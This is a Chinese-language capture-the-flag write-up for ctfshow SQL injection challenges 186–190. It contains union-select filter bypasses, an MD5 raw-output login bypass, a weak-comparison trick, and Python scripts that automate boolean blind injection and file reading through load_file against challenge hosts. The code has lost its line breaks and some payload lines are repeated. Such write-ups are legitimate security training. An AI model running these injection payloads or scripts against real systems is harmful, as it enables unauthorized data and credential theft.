本文主要是介绍ctfshow sql 186-190，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
186大小写绕过
1' order by 3--+
发现union select被过滤，用大小写来绕过
1' union seleCT 1,2,database() --+1' union seleCT 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+1' union seleCT 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+1' union seleCT 1,2,password from ctfshow_web.ctfshow_user --+
187md5
$username = $_POST['username'];$password = md5($_POST['password'],true);//只有admin可以获得flagif($username!='admin'){$ret['msg']='用户名不存在';die(json_encode($ret));} md5()
因此这里我们需要找到一个转换为原始16位二进制字符串后满足我们的注入。
ffifdyop是一个特殊的字符串，类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果。
188弱比较
查询语句 $sql = "select pass from ctfshow_user where username = {$username}";sql里，数字和字符串的匹配是弱类型比较，字符串会转换为数字，如
0==admin，那么如果输入的username是0，则会匹配所有开头不是数字或者为0的字符串和数字0。
在phpmyadmin里面试一下
我们可以发现当where条件为0时返回了所有的数据
所以当username和password都为0时可以成功弱类型比较，得到flag。
189盲注读取文件
flag在api/index.php文件中
根据提示
刚学习了load_file读取文件 第一反应就想到了
regexp正则
在本地先调试一下啊
?param=-1' union select 1,2,3,4,if((load_file('D:\\phpstudy_pro\\WWW\\aa.txt'))regexp('aa'),0,1) --+
?param=-1' union select 1,2,3,4,if((load_file('D:\\phpstudy_pro\\WWW\\aa.txt'))regexp('ab'),0,1) --+
根据上面来看，我们可以发现匹配到的时候返回1
匹配失败返回0
password根据188我们直接写0来匹配
import requestsurl = "http://655b6baa-dd5c-4780-97db-2815b916c1ad.challenge.ctf.show/api/"
payload = """if((load_file("/var/www/html/api/index.php"))regexp("{0}"),0,1)"""flag = "ctfshow{"
for i in range(1, 100):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1 = payload.format(flag + j)data = {'username': payload1,'password': 0}re = requests.post(url=url, data=data)# print(re.text)# print(payload1)if r"""{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}""" in re.text:flag += jprint(flag)if j == "}":exit()break
190 post布尔盲注
import requestsurl = "http://d33a9dcf-4743-46eb-b871-83de283bdf68.challenge.ctf.show/api/"
# payload = """admin' and if(ascii(substr((select database()),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"""
payload = """admin' and if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{0},1))>{1},1,0)-- +"""
flag = ''
for i in range(1, 100):for j in range(32, 128):payload1 = payload.format(i,j)data = {'username': payload1,'password': 0}response = requests.post(url=url, data=data)# print(payload1)# print(response.text)if r'''{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}''' not in response.text:flag += chr(j)print(flag)break
payload = """admin' and if(ascii(substr((select database()),{0},1))>{1},1,0)-- +"""
payload = """admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},1))>{1},1,0)-- +"""
payload = """admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"""
payload = """admin' and if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{0},1))>{1},1,0)-- +"""
这篇关于ctfshow sql 186-190的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
